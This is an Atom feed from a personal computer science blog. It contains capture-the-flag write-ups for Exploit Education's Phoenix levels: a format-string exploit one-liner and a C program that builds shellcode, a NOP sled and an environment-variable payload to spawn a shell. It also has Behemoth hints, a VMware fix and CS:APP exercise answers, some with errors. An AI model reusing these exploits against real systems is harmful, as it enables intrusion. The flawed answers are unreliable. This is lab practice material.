<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" /><updated>2026-09-10T07:27:03+00:00</updated><id>/feed.xml</id><title type="html">Journal</title><subtitle>Computer Science blog for Kanghun Lee</subtitle><entry><title type="html">Phoenix Format Three</title><link href="/2026/09/10/phoenix-format-three.html" rel="alternate" type="text/html" title="Phoenix Format Three" /><published>2026-09-10T00:00:00+00:00</published><updated>2026-09-10T00:00:00+00:00</updated><id>/2026/09/10/phoenix-format-three</id><content type="html" xml:base="/2026/09/10/phoenix-format-three.html"><![CDATA[<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">python</span> <span class="o">-</span><span class="n">c</span> <span class="s">'import sys; sys.stdout.write("%x"*17 + "%25560x" + "A"*3 + "%hn" + "%5120x" + "%hn" + "</span><span class="se">\x92\x0a\x60\x00\x00\x00\x00\x00</span><span class="s">" + "A"*8 +"</span><span class="se">\x90\x0a\x60\x00\x00\x00\x00\x00</span><span class="s">")'</span> <span class="o">|</span> <span class="o">/</span><span class="n">opt</span><span class="o">/</span><span class="n">phoenix</span><span class="o">/</span><span class="n">amd64</span><span class="o">/</span><span class="nb">format</span><span class="o">-</span><span class="n">three</span>
</code></pre></div></div>

<p>Written all by myself</p>

<p>it first writes to the high two bytes then to the lowest two bytes because the hex in the high two bytes are smaller than the lowest two bytes.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[python -c 'import sys; sys.stdout.write("%x"*17 + "%25560x" + "A"*3 + "%hn" + "%5120x" + "%hn" + "\x92\x0a\x60\x00\x00\x00\x00\x00" + "A"*8 +"\x90\x0a\x60\x00\x00\x00\x00\x00")' | /opt/phoenix/amd64/format-three]]></summary></entry><entry><title type="html">Format Two</title><link href="/2026/09/07/phoenix-format-two.html" rel="alternate" type="text/html" title="Format Two" /><published>2026-09-07T00:00:00+00:00</published><updated>2026-09-07T00:00:00+00:00</updated><id>/2026/09/07/phoenix-format-two</id><content type="html" xml:base="/2026/09/07/phoenix-format-two.html"><![CDATA[<p>I use the book “The Shellcoder’s Handbook: Discovering and Exploiting Security Holes” as a textbook for this CTF. It presents the direct paramater access in a format string to skip over format arguments. However, this is not fully supported in the c library used for this program since it uses “musl” libc library. If you want to use <code class="language-plaintext highlighter-rouge">%i%n</code> the ith argument. You must first have referenced <code class="language-plaintext highlighter-rouge">%1$n</code> <code class="language-plaintext highlighter-rouge">%2$n</code> … <code class="language-plaintext highlighter-rouge">%(i-1)$n</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>       If the style using '$' is used, it must be used throughout for all
       conversions taking an argument and all width and precision
       arguments, but it may be mixed with "%%" formats, which do not
       consume an argument.  There may be no gaps in the numbers of
       arguments specified using '$'; for example, if arguments 1 and 3
       are specified, argument 2 must also be specified somewhere in the
       format string.
</code></pre></div></div>

<p>Please refer to the <a href="https://man7.org/linux/man-pages/man3/printf.3.html">manpage of <code class="language-plaintext highlighter-rouge">printf</code></a>.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[I use the book “The Shellcoder’s Handbook: Discovering and Exploiting Security Holes” as a textbook for this CTF. It presents the direct paramater access in a format string to skip over format arguments. However, this is not fully supported in the c library used for this program since it uses “musl” libc library. If you want to use %i%n the ith argument. You must first have referenced %1$n %2$n … %(i-1)$n. If the style using '$' is used, it must be used throughout for all conversions taking an argument and all width and precision arguments, but it may be mixed with "%%" formats, which do not consume an argument. There may be no gaps in the numbers of arguments specified using '$'; for example, if arguments 1 and 3 are specified, argument 2 must also be specified somewhere in the format string.]]></summary></entry><entry><title type="html">Phoenix Stack Six</title><link href="/2026/08/28/phoenix-stack-six.html" rel="alternate" type="text/html" title="Phoenix Stack Six" /><published>2026-08-28T00:00:00+00:00</published><updated>2026-08-28T00:00:00+00:00</updated><id>/2026/08/28/phoenix-stack-six</id><content type="html" xml:base="/2026/08/28/phoenix-stack-six.html"><![CDATA[<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/wait.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="c1"> </span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span>
<span class="cp">#define PAYLOAD_SIZE 127
</span>
<span class="cp">#define OFFSET_SIZE 5
</span>
<span class="c1">//22 bytes shellcode</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> 
<span class="s">"</span><span class="se">\x48\x31\xf6\x56\x48\xbf</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x2f\x62\x69\x6e\x2f</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x2f\x73\x68\x57\x54</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x5f\xb0\x3b\x99\x0f\x05</span><span class="s">"</span><span class="p">;</span>


<span class="k">const</span> <span class="kt">char</span> <span class="n">GREET</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"Welcome, I am pleased to meet you "</span><span class="p">;</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
	<span class="kt">char</span> <span class="n">ExploitEducation</span><span class="p">[</span><span class="n">PAYLOAD_SIZE</span><span class="o">+</span><span class="mi">1</span><span class="p">];</span> <span class="c1">//+1 for null termination</span>

	<span class="c1">//Payload Generation	</span>
	<span class="kt">int</span> <span class="n">nop_sled_index</span><span class="p">;</span>
	<span class="k">for</span><span class="p">(</span><span class="n">nop_sled_index</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">nop_sled_index</span> <span class="o">&lt;</span> <span class="mi">80</span><span class="p">;</span> <span class="o">++</span><span class="n">nop_sled_index</span><span class="p">)</span>
		<span class="n">ExploitEducation</span><span class="p">[</span><span class="n">nop_sled_index</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\x90'</span><span class="p">;</span>

	<span class="kt">char</span> <span class="o">*</span><span class="n">shellcode_pos</span> <span class="o">=</span> <span class="n">ExploitEducation</span><span class="o">+</span><span class="n">nop_sled_index</span><span class="p">;</span>
	<span class="n">memcpy</span><span class="p">(</span><span class="n">ExploitEducation</span><span class="o">+</span><span class="n">nop_sled_index</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">shellcode</span><span class="p">));</span>

	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">ebp_lsb</span> <span class="o">=</span> <span class="sc">'\xb0'</span><span class="p">;</span>

	<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">offset</span> <span class="o">=</span> <span class="o">-</span><span class="mi">10</span><span class="p">;</span> <span class="n">offset</span> <span class="o">&lt;=</span> <span class="mi">10</span><span class="p">;</span> <span class="o">++</span><span class="n">offset</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="k">for</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">ebp_lsb_index</span> <span class="o">=</span> <span class="n">nop_sled_index</span> <span class="o">+</span> <span class="n">strlen</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>
				<span class="n">ebp_lsb_index</span> <span class="o">&lt;</span> <span class="n">PAYLOAD_SIZE</span><span class="p">;</span>
				<span class="o">++</span><span class="n">ebp_lsb_index</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="n">ExploitEducation</span><span class="p">[</span><span class="n">ebp_lsb_index</span><span class="p">]</span> <span class="o">=</span> <span class="n">ebp_lsb</span><span class="o">+</span><span class="n">offset</span><span class="o">*</span><span class="mi">8</span><span class="p">;</span>
		<span class="p">}</span>

		<span class="n">ExploitEducation</span><span class="p">[</span><span class="n">PAYLOAD_SIZE</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
		<span class="n">setenv</span><span class="p">(</span><span class="s">"ExploitEducation"</span><span class="p">,</span> <span class="n">ExploitEducation</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"EBP LSB: %02hhx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">ebp_lsb</span><span class="o">+</span><span class="n">offset</span><span class="o">*</span><span class="mi">8</span><span class="p">);</span>
		<span class="n">system</span><span class="p">(</span><span class="s">"/opt/phoenix/amd64/stack-six"</span><span class="p">);</span>
	<span class="p">}</span>


	<span class="n">setenv</span><span class="p">(</span><span class="s">"ExploitEducation"</span><span class="p">,</span> <span class="n">ExploitEducation</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"%s"</span><span class="p">,</span> <span class="n">ExploitEducation</span><span class="p">);</span>
<span class="p">}</span>

</code></pre></div></div>]]></content><author><name></name></author><summary type="html"><![CDATA[```c #include #include &lt;sys/wait.h&gt; #include #include #include]]></summary></entry><entry><title type="html">Chapter 4, Number Theory</title><link href="/2025/02/15/number-theory.html" rel="alternate" type="text/html" title="Chapter 4, Number Theory" /><published>2025-02-15T00:00:00+00:00</published><updated>2025-02-15T00:00:00+00:00</updated><id>/2025/02/15/number-theory</id><content type="html" xml:base="/2025/02/15/number-theory.html"><![CDATA[<object data="/assets/latex/chp4.pdf#view=FitH" width="1000" height="1000" type="application/pdf"></object>]]></content><author><name></name></author><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Chapter 3, Concrete Mathematics</title><link href="/2025/01/13/chapter3-concrete-mathematics.html" rel="alternate" type="text/html" title="Chapter 3, Concrete Mathematics" /><published>2025-01-13T00:00:00+00:00</published><updated>2025-01-13T00:00:00+00:00</updated><id>/2025/01/13/chapter3-concrete-mathematics</id><content type="html" xml:base="/2025/01/13/chapter3-concrete-mathematics.html"><![CDATA[<object data="/assets/latex/chp3.pdf#view=FitH" width="1000" height="1000" type="application/pdf"></object>]]></content><author><name></name></author><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Strategies to solving Behemoth</title><link href="/2024/09/08/solution-to-behemoth.html" rel="alternate" type="text/html" title="Strategies to solving Behemoth" /><published>2024-09-08T00:00:00+00:00</published><updated>2024-09-08T00:00:00+00:00</updated><id>/2024/09/08/solution-to-behemoth</id><content type="html" xml:base="/2024/09/08/solution-to-behemoth.html"><![CDATA[<p>These problems have already been tried and solved by the author. As advised by OverTheWire, I will not post direct answers to these problems, however offer stratigies, which were used to conquer them.</p>

<h1 id="behemoth0">Behemoth0</h1>
<p>The commnad <code class="language-plaintext highlighter-rouge">strings</code> show a bunch of strings that look like the answer to this problem, however these are all meant to deceive you.
Set a breakpoint at the function <code class="language-plaintext highlighter-rouge">strcmp</code> to see the actual string your input is being compared to.</p>

<h1 id="behemoth1">Behemoth1</h1>
<p>Our <a href="https://shell-storm.org/shellcode/files/shellcode-250.html">shellcode</a> is 33 bytes and the buffer 68 bytes is too small for a reliable exploit; the remaining space 35 bytes is not enough to be used as a nop sled. We have to utilize the environment variable to overcome this space problem. Save your nop slide and shellcode in an environment variable and jump to the address of the nop sled.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[These problems have already been tried and solved by the author. As advised by OverTheWire, I will not post direct answers to these problems, however offer stratigies, which were used to conquer them.]]></summary></entry><entry><title type="html">Kernel header compile error for Vmware Workstation Pro 17 on Fedora 6.8.7-300.fc40.x86_64</title><link href="/2024/04/27/vmware-compile-failure.html" rel="alternate" type="text/html" title="Kernel header compile error for Vmware Workstation Pro 17 on Fedora 6.8.7-300.fc40.x86_64" /><published>2024-04-27T00:00:00+00:00</published><updated>2024-04-27T00:00:00+00:00</updated><id>/2024/04/27/vmware-compile-failure</id><content type="html" xml:base="/2024/04/27/vmware-compile-failure.html"><![CDATA[<h1 id="the-problem">The Problem</h1>
<p>I was trying to run Vmware Workstation Pro 17 after updating to Fedora 6.8.7-300.fc40.x86_64 and it failed. Vmware spat out a log for why Vmware failed: <a href="/assets/vmware-72431.log">vmware-72431.log</a>. The crucial part of this log is the compile error:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2024-04-27T06:18:06.233Z In(05) host-72431 ./arch/x86/include/asm/timex.h:12:24: error: implicit declaration of function ‘random_get_entropy_fallback’; did you mean ‘random_get_entropy’? [-Wimplicit-function-declaration]
2024-04-27T06:18:06.233Z In(05) host-72431    12 |                 return random_get_entropy_fallback();
2024-04-27T06:18:06.233Z In(05) host-72431       |                        ^~~~~~~~~~~~~~~~~~~~~~~~~~~
2024-04-27T06:18:06.233Z In(05) host-72431       |                        random_get_entropy
</code></pre></div></div>

<h1 id="solution">Solution</h1>
<p>Refer to <a href="https://docs.fedoraproject.org/en-US/quick-docs/vmware-what-is-it#_installation_2">Fedora Project</a></p>]]></content><author><name></name></author><summary type="html"><![CDATA[The Problem I was trying to run Vmware Workstation Pro 17 after updating to Fedora 6.8.7-300.fc40.x86_64 and it failed. Vmware spat out a log for why Vmware failed: vmware-72431.log. The crucial part of this log is the compile error: 2024-04-27T06:18:06.233Z In(05) host-72431 ./arch/x86/include/asm/timex.h:12:24: error: implicit declaration of function ‘random_get_entropy_fallback’; did you mean ‘random_get_entropy’? [-Wimplicit-function-declaration] 2024-04-27T06:18:06.233Z In(05) host-72431 12 | return random_get_entropy_fallback(); 2024-04-27T06:18:06.233Z In(05) host-72431 | ^~~~~~~~~~~~~~~~~~~~~~~~~~~ 2024-04-27T06:18:06.233Z In(05) host-72431 | random_get_entropy]]></summary></entry><entry><title type="html">Solution to Computer Systems: A Programmer’s Perspective</title><link href="/2024/04/13/solution-to-csapp.html" rel="alternate" type="text/html" title="Solution to Computer Systems: A Programmer’s Perspective" /><published>2024-04-13T00:00:00+00:00</published><updated>2024-04-13T00:00:00+00:00</updated><id>/2024/04/13/solution-to-csapp</id><content type="html" xml:base="/2024/04/13/solution-to-csapp.html"><![CDATA[<h2 id="chapter-1">Chapter 1</h2>

<p>\[\begin{align}S = \frac{1}{(1-\alpha)+\alpha/k} &amp;&amp; \text{(Amdahl’s Law)} \end{align}\]</p>

<h1 id="practice-problem-11">Practice Problem 1.1</h1>

<p><img src="/assets/1.1.png" alt="1.1.png" /></p>

<p>A. It takes 25 hours to travel from Boise to Minneapolis and travelling through Montana takes 20 hours. Thus \(\alpha = \frac{\text{20hr}}{\text{25hr}} = 0.6\). The average speed improved from \(\text{100km/hr}\) to \(\text{150km/hr}\). Thus, \(k=\frac{\text{150km/hr}}{\text{100km/hr}}=1.5\). By Amdahl’s law, \(S=\frac{1}{(1-0.6 + 0.6/1.5)}=1.25\).</p>

<p>B. If we rearrange Amdhal’s law for \(k\), we get 
\[k=\frac{\alpha S}{1+S(\alpha-1)}\]</p>

<p>Let \(v\) represent the speed at which the vehicle travels through Montana. Then, \[\alpha = \frac{\text{1500km}/v + (\text{1000km}/ \text{100km/hr})}{\text{25hr}} \]. Given \(S = 1.67\), we have \[\frac{v}{100} = \frac{1.67(\frac{\text{10hr}\cdot v + \text{1500km}}{\text{25hr}\cdot v})} {1 + 1.67(\frac{\text{(10hr)}\cdot v + 1500km}{\text{25hr}\cdot v}-1)}\]. Thus, \(v=\text{305.56km/hr}\)</p>

<h1 id="practice-problem-12">Practice Problem 1.2</h1>

<p>Given \(\alpha=0.9\) and \(S=4\), we have to improve 90% of this machine by a factor of \(k=\frac{(0.9)(0.4)}{1+4\cdot (0.9-1)} = 6\)</p>

<h2 id="chapter-2">Chapter 2</h2>

<h1 id="practice-problem-21">Practice Problem 2.1</h1>
<p>A. \( (\text{0010 0101 1011 1001 1101 0010})_{2} \)</p>

<p>B. \( (\text{AE49})_{16}\)</p>

<p>C. \( (\text{1010 1000 1011 0011 1101})_2 \)</p>

<p>D. \( (\text{322D96})_{16} \)</p>

<h1 id="practice-problem-22">Practice Problem 2.2</h1>

<table>
  <thead>
    <tr>
      <th>\(n\)</th>
      <th>\(2^n\)(decimal)</th>
      <th>\(2^n\)(hexadecimal)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>5</td>
      <td>32</td>
      <td>0x20</td>
    </tr>
    <tr>
      <td>23</td>
      <td>8388608</td>
      <td>0x800000</td>
    </tr>
    <tr>
      <td>15</td>
      <td>32768</td>
      <td>0x8000</td>
    </tr>
    <tr>
      <td>13</td>
      <td>8192</td>
      <td>0x2000</td>
    </tr>
    <tr>
      <td>12</td>
      <td>4096</td>
      <td>0x1000</td>
    </tr>
    <tr>
      <td>6</td>
      <td>64</td>
      <td>0x40</td>
    </tr>
    <tr>
      <td>8</td>
      <td>256</td>
      <td>0x100</td>
    </tr>
  </tbody>
</table>

<h1 id="practice-problem-23">Practice Problem 2.3</h1>

<table>
  <thead>
    <tr>
      <th>Decimal</th>
      <th>Binary</th>
      <th>Hexadecimal</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>0</td>
      <td>0000 0000</td>
      <td>0x00</td>
    </tr>
    <tr>
      <td>158</td>
      <td>1001 1110</td>
      <td>0x9E</td>
    </tr>
    <tr>
      <td>76</td>
      <td>0100 1100</td>
      <td>0x4C</td>
    </tr>
    <tr>
      <td>145</td>
      <td>1001 0001</td>
      <td>0x91</td>
    </tr>
    <tr>
      <td>174</td>
      <td>1010 1110</td>
      <td>0xAE</td>
    </tr>
    <tr>
      <td>60</td>
      <td>0011 1100</td>
      <td>0x3C</td>
    </tr>
    <tr>
      <td>241</td>
      <td>1111 0001</td>
      <td>0xF1</td>
    </tr>
  </tbody>
</table>

<h1 id="practice-problem-24">Practice Problem 2.4</h1>
<p>A. 0x6061</p>

<p>B. 0x603C</p>

<p>C. 0x607c</p>

<p>D. 0x9c</p>

<h1 id="practice-problem-25">Practice Problem 2.5</h1>

<p>A. Little endian: 0x78      Big endian: 0x12
B. Little endian: 0x7856    Big endian: 0x1234
C. Little endian: 0x785634  Big endian: 0x123456</p>

<h1 id="practice-problem-26">Practice Problem 2.6</h1>

<p>A. \(\begin{align} \text{0x0027C8F8 = 0000 0000 0010 0111 1100 1000 1111 1000} \\ \text{0x4A1F23E0 = 0100 1010 0001 1111 0010 0011 1110 0000}\end{align}\)</p>

<p>B.
\(\begin{align}\text{0x0027c8f8 = 0000 0000 0010} \textbf{ 0111 1100 1000 1111 1000} \\ \text{0x4A1F23E0} \gg \text{2 = 0001 0010 1000} \textbf{ 0111 1100 1000 1111 1000} &amp;&amp; \text{(20 bits)}\end{align}\)<br />
C. See 2.6 B</p>

<h1 id="practice-problem-27">Practice Problem 2.7</h1>

<p>\(\text{0x7271706F6E6D}\)</p>

<h1 id="practice-problem-28">Practice Problem 2.8</h1>

<table>
  <thead>
    <tr>
      <th>Operation</th>
      <th>Result</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>\(a\)</td>
      <td>\([01001110]\)</td>
    </tr>
    <tr>
      <td>\(b\)</td>
      <td>\([11100001]\)</td>
    </tr>
    <tr>
      <td>\(\sim a\)</td>
      <td>\([10010110]\)</td>
    </tr>
    <tr>
      <td>\(\sim b\)</td>
      <td>\([10101010]\)</td>
    </tr>
    <tr>
      <td>\(a\&amp; b\)</td>
      <td>\([01000001]\)</td>
    </tr>
    <tr>
      <td>\(a | b \)</td>
      <td>\([01111101]\)</td>
    </tr>
    <tr>
      <td>\(a^\widehat{} b\)</td>
      <td>\([00111100]\)</td>
    </tr>
  </tbody>
</table>

<h1 id="practice-problem-29">Practice Problem 2.9</h1>

<p>A.</p>

<table>
  <thead>
    <tr>
      <th>Colour</th>
      <th>Complement</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Black</td>
      <td>\(111\)</td>
    </tr>
    <tr>
      <td>Blue</td>
      <td>\(110\)</td>
    </tr>
    <tr>
      <td>Green</td>
      <td>\(101\)</td>
    </tr>
    <tr>
      <td>Cyan</td>
      <td>\(100\)</td>
    </tr>
    <tr>
      <td>Red</td>
      <td>\(011\)</td>
    </tr>
    <tr>
      <td>Magenta</td>
      <td>\(010\)</td>
    </tr>
    <tr>
      <td>Yellow</td>
      <td>\(001\)</td>
    </tr>
    <tr>
      <td>White</td>
      <td>\(000\)</td>
    </tr>
  </tbody>
</table>

<p>B.</p>

<p>\(\begin{align} \text{Blue} | \text{Green} &amp;= \text{Cyan} \\ \text{Yellow} \&amp; \text{Cyan} &amp;= \text{Blue} \\ \text{Red}^\widehat{} \text{Magenta} &amp;= \text{Blue} \end{align} \)</p>

<h1 id="practice-problem-210">Practice Problem 2.10</h1>

<table>
  <thead>
    <tr>
      <th>Step</th>
      <th>*x</th>
      <th>* y</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Initially</td>
      <td>a</td>
      <td>b</td>
    </tr>
    <tr>
      <td>Step 1</td>
      <td>a</td>
      <td>a^b</td>
    </tr>
    <tr>
      <td>Step 2</td>
      <td>a^a^b = b</td>
      <td>a^b</td>
    </tr>
    <tr>
      <td>Step 3</td>
      <td>b</td>
      <td>b^a^b = a</td>
    </tr>
  </tbody>
</table>

<h1 id="practice-problem-211">Practice Problem 2.11</h1>

<p>A. \(\lceil{\frac{2k+1}{2}}\rceil\)</p>

<p>B. a[first] and a[last] point to the same variable in the last iteration when cnt is odd. The function inplace_swap xor these two variables however since they point to the same number, the operation evaluates to zero.</p>

<p>C.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">for</span> <span class="p">(</span><span class="n">first</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">last</span><span class="o">=</span><span class="n">cnt</span><span class="o">-</span><span class="mi">1</span><span class="p">;</span>
        <span class="n">first</span> <span class="o">&lt;</span> <span class="n">last</span><span class="p">;</span>
        <span class="n">first</span><span class="o">++</span><span class="p">,</span> <span class="n">last</span><span class="o">--</span><span class="p">)</span>
</code></pre></div></div>

<h1 id="practice-problem-212">Practice Problem 2.12</h1>

<p>A. <code class="language-plaintext highlighter-rouge">x &amp;= 0xFF</code></p>

<p>B. <code class="language-plaintext highlighter-rouge">x ^= ~0xFF</code></p>

<p>C. <code class="language-plaintext highlighter-rouge">x |= 0xFF</code></p>

<h1 id="practice-problem-213">Practice Problem 2.13</h1>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* Declarations of functions implementing operations bis and bic */</span>
<span class="kt">int</span> <span class="nf">bis</span><span class="p">(</span><span class="kt">int</span> <span class="n">x</span><span class="p">,</span> <span class="kt">int</span> <span class="n">m</span><span class="p">);</span>
<span class="kt">int</span> <span class="nf">bic</span><span class="p">(</span><span class="kt">int</span> <span class="n">x</span><span class="p">,</span> <span class="kt">int</span> <span class="n">m</span><span class="p">);</span>
<span class="cm">/* Compute x|y using only calls to functions bis and bic */</span>
<span class="kt">int</span> <span class="nf">bool_or</span><span class="p">(</span><span class="kt">int</span> <span class="n">x</span><span class="p">,</span> <span class="kt">int</span> <span class="n">y</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">result</span> <span class="o">=</span> <span class="n">bis</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/* Compute x^y using only calls to functions bis and bic */</span>
<span class="kt">int</span> <span class="nf">bool_xor</span><span class="p">(</span><span class="kt">int</span> <span class="n">x</span><span class="p">,</span> <span class="kt">int</span> <span class="n">y</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">result</span> <span class="o">=</span> <span class="cm">/* left to reader to solve (I couldn't do it myself) */</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h1 id="practice-problem-214">Practice Problem 2.14</h1>

<p>\(\begin{align} a &amp;= 0101\ 0101 = 0x55\\ 
                 b &amp;= 0100\ 0110 = 0x46\end{align}\)</p>

<table>
  <thead>
    <tr>
      <th>Expression</th>
      <th>Value</th>
      <th>Expression</th>
      <th>Value</th>
      <th> </th>
      <th> </th>
      <th> </th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>a  &amp;   b</td>
      <td>68</td>
      <td>a&amp;&amp;b</td>
      <td>0x01</td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>a</td>
      <td>b</td>
      <td>87</td>
      <td>a</td>
      <td> </td>
      <td>b</td>
      <td>0x01</td>
    </tr>
    <tr>
      <td>~a</td>
      <td>~b</td>
      <td>-71</td>
      <td>!a</td>
      <td> </td>
      <td>!b</td>
      <td>0x00</td>
    </tr>
    <tr>
      <td>a  &amp;  !b</td>
      <td>-71</td>
      <td>a&amp;&amp;~b</td>
      <td>0x01</td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
  </tbody>
</table>

<p>Skipped to Problem 2.45 due to lack of interest and knowing most of the content.</p>

<h1 id="practice-problem-245">Practice Problem 2.45</h1>

<table>
  <thead>
    <tr>
      <th>Fractional value</th>
      <th>Binary representation</th>
      <th>Decimal representation</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>\(\frac{1}{8}\)</td>
      <td>0.001</td>
      <td>0.125</td>
    </tr>
    <tr>
      <td>\(\frac{3}{4}\)</td>
      <td>0.11</td>
      <td>0.75</td>
    </tr>
    <tr>
      <td>\(\frac{5}{16}\)</td>
      <td>0.0011</td>
      <td>0.3125</td>
    </tr>
    <tr>
      <td>…</td>
      <td>…</td>
      <td>…</td>
    </tr>
  </tbody>
</table>

<p>You get the point</p>

<h1 id="practice-problem-246">Practice Problem 2.46</h1>
<p>A.</p>

<p>\(\begin{align}0.1 &amp;= 0.0001\ 1001\ 1001\ 1001\ 1001\ 1001\ [1001]\\x &amp;= 0.0001\ 1001\ 1001\ 1001\ 1001\ 0100\\0.1-x &amp;= 0.0000\ 0000\ 0000\ 0000\ 0000\ 0101\ [1001]\end{align}\)</p>

<p>B.
\(\begin{align} 0.1-x &amp;= 2^{-22} + 2^{-24} + [(2^{-25} + 2^{-28}) + (2^{-29} + 2^{-32}) + …] \\ &amp;= 2^{-22} + 2^{-24} + \sum_{i=0}^{\infty} (2^{-25-4i} + 2^{-28-4i})\\ &amp;= 2^{-22} + 2^{-24} + \frac{1}{5} \cdot 2^{-32} &amp; \text{Simplify the sum and apply geometric series formula}\\ &amp;= 2^{-22}(1+2^{-2}+\frac{2^{-10}}{5})\\ &amp;= 2^{-22}(\frac{6401}{5120}) \\ &amp;=  2.9806979\cdot 10^{-7}\end{align}\)</p>

<p>C.</p>

<p>\(\text{100hr} = 3600000 \cdot \text{0.1s} = 3600000\cdot (0.000110011[0011]\cdots)_2\\ \)
\(3600000\cdot 0.1\text{s} - 3600000\cdot (x)\text{s} = 3600000(0.1\text{s}-(x)s)=3600000\cdot 2.9806979\cdot 10^{-7}\text{s} = 1.073051244\text{s}\)</p>

<p>D.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Chapter 1]]></summary></entry><entry><title type="html">Formula for Computer Systems</title><link href="/2024/04/12/formula.html" rel="alternate" type="text/html" title="Formula for Computer Systems" /><published>2024-04-12T00:00:00+00:00</published><updated>2024-04-12T00:00:00+00:00</updated><id>/2024/04/12/formula</id><content type="html" xml:base="/2024/04/12/formula.html"><![CDATA[<p>For vector \(\vec{x} = [x_{w-1}, x_{w-2}, \ldots, x_0]\)
\[B2U_{w}(\vec{x}) \stackrel{.}= \sum_{i=0}^{w-1} x_i2^i\]
\[B2T_{w}(\vec{x}) \stackrel{.}= -x_{w-1}2^{w-1} + \sum_{i=0}^{w-2} x_i2^i\]
\[B2O_{w}(\vec{x}) \stackrel{.}= -x_{w-1}(2^{w-1} - 1) + \sum_{i=0}^{w-2} x_i2^i\]
\[B2S_{w}(\vec{x}) \stackrel{.}= (-1)^{x_{w-1}} \cdot \left(\sum_{i=0}^{w-2} x_i2^i \right)\]
\[U2T_{w}(u) = \begin{cases}u, &amp; u\leq \text{TMax}_w\\ u-2^w, &amp; u&gt;\text{TMax}_w\end{cases}\]</p>

<p>For \(x\) such that \(\text{TMin} \leq x \leq \text{TMax}\)
\[B2U_{w}(T2B_{w}(x)) = T2U_{w}(x) = x+x_{w-1}2^{w}\]</p>

<p>Truncation of an unsigned number
\[B2U_k([x_{k-1}, x_{k-2}, \ldots, x_{0}]) = B2U_w([x_{w-1}, x_{w-2}, \ldots, x_0])\mod 2^k\]
Truncation of a two’s-complement number
